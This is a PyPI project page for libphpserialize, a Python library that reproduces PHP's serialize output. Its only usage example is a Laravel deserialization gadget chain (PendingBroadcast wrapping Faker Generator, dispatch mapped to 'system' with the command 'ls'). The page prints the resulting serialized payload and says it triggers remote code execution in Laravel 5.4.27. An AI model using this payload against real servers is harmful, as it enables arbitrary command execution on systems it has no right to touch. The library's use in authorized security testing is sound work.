Skip to main content

A port of PHP's serialize function, in pure python

Project description

libphpserialize

A port of PHP's serialize function, in pure python

Features

  • serialize objects directly from python objects
  • nested objects
  • namespacing
  • variable Access Modifiers (public, private, protected)

Example

from phpserialize import serialize
from phpserialize.decorators import namespace
import requests


@namespace('Faker')
class Generator:
    protected_formatters = {'dispatch': 'system'}


@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
    protected_event = 'ls'
    protected_events = Generator()


print(serialize(PendingBroadcast()))

with above code, you'll get:

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}

which triggers an RCE vulnerability in Laravel 5.4.27

nice when you're writing an exploit script for others to read

Important:

  • the code is written and tested under python 3.7+
  • decimal serialization doesn't work the same as PHP does, yet

TODO

  • recursive objects support
  • reimplement decimal precision calculating algorithm from php engine

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

libphpserialize-0.0.1b4.tar.gz (3.9 kB view details)

Uploaded Source

Built Distribution

libphpserialize-0.0.1b4-py3-none-any.whl (4.7 kB view details)

Uploaded Python 3

File details

Details for the file libphpserialize-0.0.1b4.tar.gz.

File metadata

  • Download URL: libphpserialize-0.0.1b4.tar.gz
  • Upload date:
  • Size: 3.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.3.0 pkginfo/1.6.1 requests/2.25.1 setuptools/56.0.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.5

File hashes

Hashes for libphpserialize-0.0.1b4.tar.gz
Algorithm Hash digest
SHA256 2942bf1e03f908d85f245c2c16b3ab25c9cbb69812a487e41ece0b437a99cf14
MD5 9dd56eaa090b17d0beb6ed4738a4ab21
BLAKE2b-256 929a92b023c7c97cb629fde5bed3ab2ff9a4e0dd11f54b355daab9c744918078

See more details on using hashes here.

File details

Details for the file libphpserialize-0.0.1b4-py3-none-any.whl.

File metadata

  • Download URL: libphpserialize-0.0.1b4-py3-none-any.whl
  • Upload date:
  • Size: 4.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.3.0 pkginfo/1.6.1 requests/2.25.1 setuptools/56.0.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.5

File hashes

Hashes for libphpserialize-0.0.1b4-py3-none-any.whl
Algorithm Hash digest
SHA256 a6443dfc346040aefbc013c05c7bee313fc0af7c4a258ba26a6f78c9a645bc3b
MD5 21da434973d3d5d75859a0143b61697f
BLAKE2b-256 0a726562b38b8e274a098fc1397cbb4711b53e249e2a7938672862ca0b30f086

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page